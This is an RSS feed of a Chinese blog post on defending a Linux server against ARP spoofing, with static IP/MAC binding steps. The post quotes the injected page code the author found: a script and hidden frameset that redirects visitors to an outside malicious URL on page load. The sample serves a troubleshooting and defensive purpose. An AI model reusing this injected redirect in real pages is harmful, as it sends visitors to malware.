<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[沧海一粟]]></title> 
<link>http://www.dzhope.com/index.php</link> 
<description><![CDATA[Web系统架构与服务器运维,php开发]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[沧海一粟]]></copyright>
<item>
<link>http://www.dzhope.com/post//</link>
<title><![CDATA[linux下ARP防护]]></title> 
<author>jed &lt;jed521@163.com&gt;</author>
<category><![CDATA[服务器技术]]></category>
<pubDate>Mon, 26 Apr 2010 02:05:56 +0000</pubDate> 
<guid>http://www.dzhope.com/post//</guid> 
<description>
<![CDATA[ 
	我们网站最近所有页面都变形了，包括后台，我当时就挺纳闷，后台我都限定IP访问了，怎么可能被挂木马呢？难道是调用的文件出问题了？查找所有代码以后也没有发现挂马代码。但是查看每个页面都变成了类似下面的代码：<br/><div class="code"><br/><br/>&lt;html&gt;<br/>&lt;head&gt;<br/>&lt;/head&gt;<br/>&lt;script&gt;<br/>function showme()<br/>&#123;<br/>var CK=document.cookie;<br/>var sa=CK.indexOf(&quot;CK&quot;);<br/>if(sa!=-1)&#123;&#125;else&#123;var EP=new Date();<br/>EP.setTime(EP.getTime()+24*60*60*1000);<br/>document.cookie=&quot;CK=test;expires=&quot;+EP.toGMTString();<br/>self.hi.location=&quot;http://g.isa8c.cn/d5/x4/index.htm?03&quot;;&#125;<br/>&#125;<br/>&lt;/script&gt;<br/>&lt;frameset rows=&quot;100%,*&quot; onLoad=&quot;showme()&quot;&gt;<br/>&lt;frame name=&quot;hello&quot; src=&quot;INJECT_PAGE_URL&quot;&gt;<br/>&lt;frame name=&quot;hi&quot; src=&quot;&quot;&gt;<br/>&lt;/frameset&gt;<br/>&lt;/html&gt;<br/><br/><br/></div><br/><br/>网上说，这是一种ARP病毒的症状，如果页面出现类似代码，很有可能是所在机子的局域网内有机器中了ARP木马，解决此问题的方法：<br/>网关静态绑定你的服务器的MAC地址或者本机IP绑定MAC地址。<br/><br/>建立静态IP/MAC捆绑的方法是：建立/etc/ethers文件，其中包含正确的IP/MAC对应关系，格式如下：<br/>192.168.2.32 08:00:4E:B0:24:47<br/>然后再/etc/rc.d/rc.local最后添加：<br/>arp -f<br/>即可<br/><br/>操作如下：<br/># vi /etc/ethers <br/> arp -s 123.123.123.111 00:11:56:6F:87:D3 <br/><br/>#arp -f /etc/ethers <br/><br/><br/><br/><br/><br/>Tags - <a href="http://www.dzhope.com/tags/linux/" rel="tag">linux</a> , <a href="http://www.dzhope.com/tags/arp/" rel="tag">arp</a>
]]>
</description>
</item><item>
<link>http://www.dzhope.com/post//#blogcomment</link>
<title><![CDATA[[评论] linux下ARP防护]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://www.dzhope.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>